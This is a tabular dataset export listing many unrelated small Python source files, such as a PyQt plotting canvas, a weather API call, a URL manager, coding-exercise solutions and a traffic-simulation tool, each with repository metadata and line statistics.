hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
cf6d64f9290541206100d6895ceb0a5765ddc05c | 271 | py | Python | fastapi_boilerplate/constants.py | Kludex/fastapi-template | 47256eb8f8c7439a4d669172d94ce84c62cdb25a | [
"MIT"
] | 14 | 2021-03-27T22:18:56.000Z | 2022-03-21T19:04:48.000Z | fastapi_boilerplate/constants.py | Kludex/fastapi-template | 47256eb8f8c7439a4d669172d94ce84c62cdb25a | [
"MIT"
] | 33 | 2021-03-28T21:06:22.000Z | 2022-03-07T14:18:26.000Z | fastapi_boilerplate/constants.py | Kludex/fastapi-template | 47256eb8f8c7439a4d669172d94ce84c62cdb25a | [
"MIT"
] | null | null | null | from enum import Enum
class RunServer(str, Enum):
CLI = "CLI"
PYTHON = "Python"
class YesOrNo(str, Enum):
YES = "y"
NO = "n"
class Packaging(str, Enum):
POETRY = "poetry"
PIP = "pip"
POETRY_WITH_REQUIREMENTS = "poetry with requirements"
| 15.055556 | 57 | 0.619926 |
2b401a4d705288a8b35cceec5703b65ef991d8b2 | 1,498 | py | Python | Graphs/fig_01.py | Tocha4/-Displacement--Chromatography | 0baf4f9e2d23b39f610217b048d799c6403a259e | [
"MIT"
] | 2 | 2020-11-25T07:53:48.000Z | 2021-09-19T14:19:51.000Z | Graphs/fig_01.py | Tocha4/-Displacement--Chromatography | 0baf4f9e2d23b39f610217b048d799c6403a259e | [
"MIT"
] | null | null | null | Graphs/fig_01.py | Tocha4/-Displacement--Chromatography | 0baf4f9e2d23b39f610217b048d799c6403a259e | [
"MIT"
] | null | null | null | from PyQt5.QtWidgets import QSizePolicy
from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas
from matplotlib.figure import Figure
class PlotCanvas(FigureCanvas):
def __init__(self, parent=None, width=5, height=15, dpi=100):
fig = Figure(figsize=(width, height), dpi=dpi)
... | 33.288889 | 93 | 0.62283 |
5afa9129592f598e46a8b496b272a70770c8fda5 | 836 | py | Python | weather.py | nilsfed/SmarterWecker | 82a64172206fb1065bb0aaac0a769952af136c1a | [
"MIT"
] | null | null | null | weather.py | nilsfed/SmarterWecker | 82a64172206fb1065bb0aaac0a769952af136c1a | [
"MIT"
] | null | null | null | weather.py | nilsfed/SmarterWecker | 82a64172206fb1065bb0aaac0a769952af136c1a | [
"MIT"
] | null | null | null | import requests
import api_keys
import os
import io
from tkinter import *
# allows for image formats other than gif
from PIL import Image, ImageTk
import tkinter as tk
from urllib.request import urlopen
def city_forecast(city):
response = requests.get(
"https://api.openweathermap.org/data/2.5... | 26.967742 | 120 | 0.691388 |
cffeae0a4ec02794143dc489db6b8ad74cbc1ea8 | 1,595 | py | Python | weibo/spider/url_manager.py | haiboz/weiboSpider | 517cae2ef3e7bccd9e1d328a40965406707f5362 | [
"Apache-2.0"
] | null | null | null | weibo/spider/url_manager.py | haiboz/weiboSpider | 517cae2ef3e7bccd9e1d328a40965406707f5362 | [
"Apache-2.0"
] | null | null | null | weibo/spider/url_manager.py | haiboz/weiboSpider | 517cae2ef3e7bccd9e1d328a40965406707f5362 | [
"Apache-2.0"
] | null | null | null | # coding:utf8
'''
Created on 2016年4月8日
@author: wb-zhaohaibo
'''
#url管理器
class UrlManager(object):
def __init__(self):
self.new_user_urls = set()
self.old_user_urls = set()
self.new_fans_urls = set()
self.old_fans_urls = set()
def add_new_user_url(se... | 24.538462 | 76 | 0.566144 |
56f29be7e9278026743c69cd7171cb1adea154b9 | 276 | py | Python | exercises/pt/exc_01_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/pt/exc_01_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/pt/exc_01_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | import spacy
# Carregue o modelo pequeno do idioma inglês "en_core_web_sm"
nlp = ____
text = "It’s official: Apple is the first U.S. public company to reach a $1 trillion market value"
# Processe o texto
doc = ____
# Imprima o atributo texto do documento
print(____.____)
| 21.230769 | 98 | 0.75 |
85a4a6ba8d4daf8f06971ec870ef1cac4868b32f | 333 | py | Python | PYTHON/Sets/no_idea.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | PYTHON/Sets/no_idea.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | PYTHON/Sets/no_idea.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import sys
if __name__ == '__main__':
nm = input().split()
n = int(nm[0])
m = int(nm[1])
H = (input().split())
A = set(input().split())
B = set(input().split())
res = 0
for h in H:
if h in A:
res += 1
if h in B:
res -= 1
... | 17.526316 | 28 | 0.441441 |
7779132ebaf6e691fbff1f320a3ceddabae306af | 975 | py | Python | leetcode/056-Merge-Intervals/MergeIntervals_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2015-12-16T04:01:03.000Z | 2015-12-16T04:01:03.000Z | leetcode/056-Merge-Intervals/MergeIntervals_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | leetcode/056-Merge-Intervals/MergeIntervals_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | # Definition for an interval.
# class Interval:
# def __init__(self, s=0, e=0):
# self.start = s
# self.end = e
class Solution:
# @param {Interval[]} intervals
# @return {Interval[]}
def sortmeg(self, intervals):
ls = []
for i in intervals:
ls.append(i.start... | 26.351351 | 59 | 0.505641 |
3b0739c4c34369a2ff87b758c70484874188eb2e | 967 | py | Python | defines.py | VNCompany/PyDafm | 9634f5428b9f3739dbf7c159daad34856b372165 | [
"Unlicense"
] | null | null | null | defines.py | VNCompany/PyDafm | 9634f5428b9f3739dbf7c159daad34856b372165 | [
"Unlicense"
] | null | null | null | defines.py | VNCompany/PyDafm | 9634f5428b9f3739dbf7c159daad34856b372165 | [
"Unlicense"
] | null | null | null | DATE_DICT = {
"1": "января", "2": "февраля",
"3": "марта", "4": "апреля",
"5": "мая", "6": "июня",
"7": "июля", "8": "августа",
"9": "сентября", "10": "октября",
"11": "ноября", "12": "декабря",
}
LOG_INFORMATION = "INFO"
LOG_WARNING = "WARN"
LOG_ERROR = "ERR"
PRIORITY_LOW = 0
PR... | 18.245283 | 38 | 0.516029 |
3b3b753f5efb4f233f1abb221ebd7fb2ce07214a | 453 | py | Python | src/nfz_module/controller/ActorController.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | null | null | null | src/nfz_module/controller/ActorController.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | null | null | null | src/nfz_module/controller/ActorController.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | null | null | null | from abc import ABCMeta, abstractmethod, abstractproperty
from model.WarningLevel import WarningLevel
__author__ = 'Hans-Werner Roitzsch'
class ActorController(metaclass=ABCMeta):
"""
Abstract Base Class: ActorController
"""
@abstractmethod
def start_warning(self, warning_level):
"""This method warns a traf... | 21.571429 | 100 | 0.785872 |
3b815fe067ec376b7374ae1610b9d238d2407437 | 1,102 | py | Python | hw3-cloudmesh/cloudmesh_oliver/command_oliver.py | futuresystems/465-oliverlewis | c1a093e9de012e752a2277c4fb533cbd974a5a8d | [
"Apache-2.0"
] | null | null | null | hw3-cloudmesh/cloudmesh_oliver/command_oliver.py | futuresystems/465-oliverlewis | c1a093e9de012e752a2277c4fb533cbd974a5a8d | [
"Apache-2.0"
] | null | null | null | hw3-cloudmesh/cloudmesh_oliver/command_oliver.py | futuresystems/465-oliverlewis | c1a093e9de012e752a2277c4fb533cbd974a5a8d | [
"Apache-2.0"
] | null | null | null | from cloudmesh_base.Shell import Shell
import pip
class command_oliver(object):
@classmethod
def status(cls, host):
msg = "Unknown host"
try:
msg = Shell.ping("-c", "1", host)
except:
pass
if "1 packets transmitted, 1 packets received" in msg:
... | 22.958333 | 62 | 0.540835 |
79b3a6f2445f0a3ab6a3f4d5b58a9f8764906e0e | 21,159 | py | Python | Calliope-Rennspiel/Python/ki-rennspiel.py | rao003/ki-in-schulen | ec7e69da6d728ce6480711b45cea0aef7796b14b | [
"MIT"
] | 10 | 2021-05-27T15:08:45.000Z | 2022-03-01T17:21:24.000Z | Calliope-Rennspiel/Python/ki-rennspiel.py | telekom/ki-in-schulen | ec7e69da6d728ce6480711b45cea0aef7796b14b | [
"MIT"
] | null | null | null | Calliope-Rennspiel/Python/ki-rennspiel.py | telekom/ki-in-schulen | ec7e69da6d728ce6480711b45cea0aef7796b14b | [
"MIT"
] | 3 | 2021-04-08T12:44:30.000Z | 2021-06-21T08:20:59.000Z | #
# ki-rennspiel.py$
#
# (C) 2020, Christian A. Schiller, Deutsche Telekom AG
#
# Deutsche Telekom AG and all other contributors /
# copyright owners license this file to you under the
# MIT License (the "License"); you may not use this
# file except in compliance with the License.
# You may obtain a copy of the Licens... | 30.444604 | 111 | 0.617137 |
eba6cdb2e8d3af64cd638485f8bec2b02f52bd0f | 144 | py | Python | python/python_new/Python 3/vowelsort.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/python_new/Python 3/vowelsort.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/python_new/Python 3/vowelsort.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | #vowels list
vowels=['e','a','u','o','i']
#sort the vowels
vowels.sort(reverse=True)
#print vowels
print('Sorted list (in Descending):',vowels)
| 20.571429 | 44 | 0.6875 |
ebc0bc954030e5eb36fe639eda90068c37ed3560 | 3,382 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/net/netextract.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/net/netextract.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/net/netextract.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | #!/usr/bin/env python
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2008-2020 German Aerospace Center (DLR) and others.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License 2.0 which is available at
# https://www.ec... | 33.156863 | 92 | 0.599054 |
15e7fef7cfb1010023f767f7361d421f25c37557 | 827 | py | Python | 20-hs-redez-sem/groups/03-doubleRatchet/src/reset.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 8 | 2020-03-17T21:12:18.000Z | 2021-12-12T15:55:54.000Z | 20-hs-redez-sem/groups/03-doubleRatchet/src/reset.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 2 | 2021-07-19T06:18:43.000Z | 2022-02-10T12:17:58.000Z | 20-hs-redez-sem/groups/03-doubleRatchet/src/reset.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 25 | 2020-03-20T09:32:45.000Z | 2021-07-18T18:12:59.000Z | from helper_functions.helpers import FOLDERNAME_KEYS
import os
# Running this will reset and delete all conversations.
input = input("Are you sure? [y/n]: ")
if input == 'y':
pass
else:
print("Abort Deletion.")
exit()
foldername = FOLDERNAME_KEYS.lstrip("/") + "/"
try:
list = [item for item in os.li... | 20.170732 | 71 | 0.680774 |
15ff50abbaa3e64ef1a099e7f5dcf39f262b99b3 | 484 | py | Python | Python/Buch_ATBS/Teil_1/Kapitel_01_bis_04/11_variablen_per_liste_definieren.py | Apop85/Scripts | e71e1c18539e67543e3509c424c7f2d6528da654 | [
"MIT"
] | null | null | null | Python/Buch_ATBS/Teil_1/Kapitel_01_bis_04/11_variablen_per_liste_definieren.py | Apop85/Scripts | e71e1c18539e67543e3509c424c7f2d6528da654 | [
"MIT"
] | 6 | 2020-12-24T15:15:09.000Z | 2022-01-13T01:58:35.000Z | Python/Buch_ATBS/Teil_1/Kapitel_01_bis_04/11_variablen_per_liste_definieren.py | Apop85/Scripts | 1d8dad316c55e1f1343526eac9e4b3d0909e4873 | [
"MIT"
] | null | null | null | # Zuweisen des Inhalts von mehreren Variablen mit Listen
liste=['dick', 'rot', 'böbbi']
woliste=[]
size,color,name=liste
print('Meine Katze namens', name,'ist',size,'und das Fell ist',color)
for i in range(2):
print('Ein Nomen bitte:')
woliste=woliste + [input()]
for i in range(2):
print('Ein Adjek... | 25.473684 | 117 | 0.657025 |
c63fedceaad5781566251d68eb763854e7def4ed | 647 | py | Python | Problems/Depth-First Search/easy/BinaryTreeTilt/binary_tree_tilt.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | 1 | 2021-08-16T14:52:05.000Z | 2021-08-16T14:52:05.000Z | Problems/Depth-First Search/easy/BinaryTreeTilt/binary_tree_tilt.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/Depth-First Search/easy/BinaryTreeTilt/binary_tree_tilt.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | from typing import Optional
# Definition for a binary tree node.
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
class Solution:
def findTilt(self, root: Optional[TreeNode]) -> int:
self.sum_tilt = 0
... | 23.962963 | 56 | 0.576507 |
c64e6ef31bf4c01c926462c99eb000be3e2ff900 | 1,377 | py | Python | setup.py | dnswd/blazegraph-python | 046a6b47406b0f56d71abc6039f4d7586a1708d2 | [
"BSD-3-Clause"
] | 42 | 2016-01-15T14:31:48.000Z | 2022-03-10T14:32:25.000Z | setup.py | igor-kim/blazegraph-python | 7be8d219e00acb51d949bf49aaaed90c2c2344e5 | [
"BSD-3-Clause"
] | 3 | 2016-10-02T18:36:42.000Z | 2019-09-18T15:48:58.000Z | setup.py | igor-kim/blazegraph-python | 7be8d219e00acb51d949bf49aaaed90c2c2344e5 | [
"BSD-3-Clause"
] | 11 | 2016-08-18T09:47:52.000Z | 2021-12-26T06:22:18.000Z | import sys, os
from setuptools import setup
from pymantic import version
setup(name='pymantic',
version=version,
description="Semantic Web and RDF library for Python",
long_description="""""",
classifiers=['Development Status :: 3 - Alpha',
'Intended Audience :: Developers'... | 31.295455 | 95 | 0.557008 |
062cf6c3aefe25a1c167d9d1bffd62436ccc5c34 | 1,235 | py | Python | scripts/initialisation/initNecessaryUsers.py | AndiBr/ffksk | ff4bc4ad26d4571eaa1a6ff815b2e6a876f8ba99 | [
"MIT"
] | null | null | null | scripts/initialisation/initNecessaryUsers.py | AndiBr/ffksk | ff4bc4ad26d4571eaa1a6ff815b2e6a876f8ba99 | [
"MIT"
] | 14 | 2018-09-12T06:59:55.000Z | 2020-02-26T07:17:48.000Z | scripts/initialisation/initNecessaryUsers.py | AndiBr/ffksk | ff4bc4ad26d4571eaa1a6ff815b2e6a876f8ba99 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
'''
Create default users, necessary for running the kiosk
'''
import os
import sys
import django
if __name__ == '__main__':
# Setup the Django environment of the Kiosk
BASE = os.path.dirname(os.path.dirname(os.path.dirname((os.path.abspath(__file__)))))
sys.path.append(BASE)
os.environ.se... | 17.152778 | 86 | 0.667206 |
2335ee267e1c7fc17d1edf6f9d23d2250579f2fe | 100 | py | Python | insomniac/extra_features/views.py | shifenis/Insomniac | 7c9d572b83c29049bc3075073be5549fe821a739 | [
"MIT"
] | 533 | 2020-06-01T10:40:11.000Z | 2022-03-29T17:05:50.000Z | insomniac/extra_features/views.py | shifenis/Insomniac | 7c9d572b83c29049bc3075073be5549fe821a739 | [
"MIT"
] | 399 | 2020-06-01T22:01:55.000Z | 2022-03-29T20:39:29.000Z | insomniac/extra_features/views.py | shifenis/Insomniac | 7c9d572b83c29049bc3075073be5549fe821a739 | [
"MIT"
] | 166 | 2020-06-01T21:51:52.000Z | 2022-03-12T14:14:44.000Z | from insomniac import activation_controller
exec(activation_controller.get_extra_feature('views'))
| 25 | 54 | 0.87 |
003727730093bc026039c2e779c4922cfde1ef8f | 1,655 | py | Python | CI-Python/qa327_test/integration/test_integration_posting.py | michael-fourie/Mags_Co | b9c8ae1730fabde3da95ed0f271ff061505a06c2 | [
"MIT"
] | 3 | 2020-11-06T21:54:57.000Z | 2020-12-10T22:06:24.000Z | CI-Python/qa327_test/integration/test_integration_posting.py | michael-fourie/Mags_Co | b9c8ae1730fabde3da95ed0f271ff061505a06c2 | [
"MIT"
] | 3 | 2020-11-30T01:04:41.000Z | 2020-12-13T19:29:45.000Z | CI-Python/qa327_test/integration/test_integration_posting.py | michael-fourie/Mags_Co | b9c8ae1730fabde3da95ed0f271ff061505a06c2 | [
"MIT"
] | 3 | 2020-11-23T19:25:41.000Z | 2022-02-04T15:18:19.000Z | import pytest
from seleniumbase import BaseCase
from qa327_test.conftest import base_url
# integration testing: the test case interacts with the
# browser, and test the whole system (frontend+backend).
@pytest.mark.usefixtures('server')
class Posting(BaseCase):
def register(self):
"""register new user""... | 33.1 | 71 | 0.609668 |
ae22b0b67a14904dd1eaee925c3733d61783ef4b | 47 | py | Python | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/topic/__init__.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/topic/__init__.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/topic/__init__.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from .topic_helper import RuntimeTopicStorages
| 23.5 | 46 | 0.893617 |
882363fd01e93aeb2e5a8d558c78c3b492311149 | 3,207 | py | Python | research/cv/metric_learn/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/metric_learn/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/metric_learn/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 42.76 | 111 | 0.654818 |
ee28932a91d643af5c8bf5c309a7d50f332f39f3 | 366 | py | Python | Weboffice/woa_contacts/models/res_partner.py | whoedl61/webinaroctubre | a22048838062999753860995d21328cb9d53d652 | [
"MIT"
] | null | null | null | Weboffice/woa_contacts/models/res_partner.py | whoedl61/webinaroctubre | a22048838062999753860995d21328cb9d53d652 | [
"MIT"
] | null | null | null | Weboffice/woa_contacts/models/res_partner.py | whoedl61/webinaroctubre | a22048838062999753860995d21328cb9d53d652 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from odoo import api, fields, models, tools, _
class Partner(models.Model):
_inherit = ['res.partner']
health_insurance = fields.Char(track_visibility='onchange')
diagnosis = fields.Char(track_visibility='onchange')
# contact_rel = fields.Char()
contact_rel = fields.Many2o... | 30.5 | 76 | 0.70765 |
117f53d9af16d5afedd4cb171baa1d02acc20959 | 2,673 | py | Python | SarsaLambda/MazeLab/sarsa_lambda_brain.py | pickxiguapi/rl-algorithm | a57991acd178077fd7f51bcd4ae2ee58492475c2 | [
"MIT"
] | 2 | 2021-01-06T09:45:23.000Z | 2021-04-21T09:39:14.000Z | SarsaLambda/MazeLab/sarsa_lambda_brain.py | pickxiguapi/rl-algorithm | a57991acd178077fd7f51bcd4ae2ee58492475c2 | [
"MIT"
] | null | null | null | SarsaLambda/MazeLab/sarsa_lambda_brain.py | pickxiguapi/rl-algorithm | a57991acd178077fd7f51bcd4ae2ee58492475c2 | [
"MIT"
] | null | null | null | # -*- encoding: utf-8 -*-
"""
@File : sarsa_lambda_brain.py
@Time : 2020/11/29
@Author : Yuan Yifu
"""
import numpy as np
import pandas as pd
ALPHA = 0.01
GAMMA = 0.9
EPSILON = 0.9
TRACE = 0.9
class SarsaLambda(object):
def __init__(self, action_space, learning_rate=ALPHA, reward_decay=GAMMA, e_greedy=E... | 31.821429 | 116 | 0.578376 |
11bb9d52dad80db1bf9a3c8688c27d1a9a891a5a | 3,791 | py | Python | research/cv/ProtoNet/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/ProtoNet/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/ProtoNet/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 29.161538 | 107 | 0.580058 |
018177bb5041f5d4ea1c18df78458bebaf032e21 | 1,984 | py | Python | src/onegov/newsletter/collection.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/newsletter/collection.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/newsletter/collection.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.core.utils import normalize_for_url, is_uuid
from onegov.newsletter import Newsletter, Recipient
from onegov.newsletter.errors import AlreadyExistsError
class NewsletterCollection(object):
def __init__(self, session):
self.session = session
def query(self):
return self.session.qu... | 25.435897 | 67 | 0.614919 |
097aac971e638cca8c055877be28fcb324d73314 | 770 | py | Python | INBa/2015/Chinkirov_V_V/task_6_29.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2015/Chinkirov_V_V/task_6_29.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2015/Chinkirov_V_V/task_6_29.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 6. Вариант 29.
# Создайте игру, в которой компьютер загадывает название одного из шести континентов Земли, а игрок должен его угадать.
# Чинкиров.В.В
# 28.03.2016
import random
print("Создайте игру, в которой компьютер загадывает имя одного из двенадцати апостолов, а игрок должен его угадать.")
apostals= ('В... | 33.478261 | 137 | 0.703896 |
0990ee5d293bd9d41654bde0186d9d141477178e | 4,142 | py | Python | NBA/NBAShotSelection/NBAShotSelection.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | null | null | null | NBA/NBAShotSelection/NBAShotSelection.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | 1 | 2021-02-11T23:44:52.000Z | 2021-02-11T23:44:52.000Z | NBA/NBAShotSelection/NBAShotSelection.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | 1 | 2021-12-16T01:02:23.000Z | 2021-12-16T01:02:23.000Z | #%%
import numpy as np
import pandas as pd
from datetime import datetime
import matplotlib.pyplot as plt
import matplotlib.animation as animation
from matplotlib.animation import FuncAnimation
plt.style.use("seaborn-whitegrid")
# import holoviews as hv
# from holoviews import opts
# hv.extension('plotly')
#%% Load da... | 21.46114 | 97 | 0.637856 |
111ba611fc18a2d6c16063aa2a0f9123ff0c0cda | 2,011 | py | Python | ML/color-codes.py | chfrank-cgn/FOM | 72ada98bb287b00807911a070a390964b681f099 | [
"CC-BY-4.0"
] | null | null | null | ML/color-codes.py | chfrank-cgn/FOM | 72ada98bb287b00807911a070a390964b681f099 | [
"CC-BY-4.0"
] | null | null | null | ML/color-codes.py | chfrank-cgn/FOM | 72ada98bb287b00807911a070a390964b681f099 | [
"CC-BY-4.0"
] | null | null | null | #
# https://elitedatascience.com/python-machine-learning-tutorial-scikit-learn
# https://d1p17r2m4rzlbo.cloudfront.net/wp-content/uploads/2016/03/1384367562_colors_in_9_langages.csv
#
# Import necessary modules
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn im... | 29.144928 | 140 | 0.764296 |
11455bf22ef1ebd6b03f1088bcb59e8c77ec36b6 | 1,052 | py | Python | packages/watchmen-dqc/src/watchmen_dqc/monitor/rule/factor_mismatch_enum.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-dqc/src/watchmen_dqc/monitor/rule/factor_mismatch_enum.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-dqc/src/watchmen_dqc/monitor/rule/factor_mismatch_enum.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from datetime import datetime
from logging import getLogger
from typing import Any, List, Tuple
from watchmen_data_kernel.storage import TopicDataService
from watchmen_model.admin import Factor
from watchmen_model.dqc import MonitorRule
from watchmen_utilities import ArrayHelper, is_blank, is_not_blank
from .enum_serv... | 31.878788 | 67 | 0.793726 |
febdf51f2c6a2be0a0d35ec775890adcd955712a | 9,891 | py | Python | experimental/yaml/yamlParser.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 2 | 2020-12-25T19:37:42.000Z | 2021-03-26T04:59:12.000Z | experimental/yaml/yamlParser.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
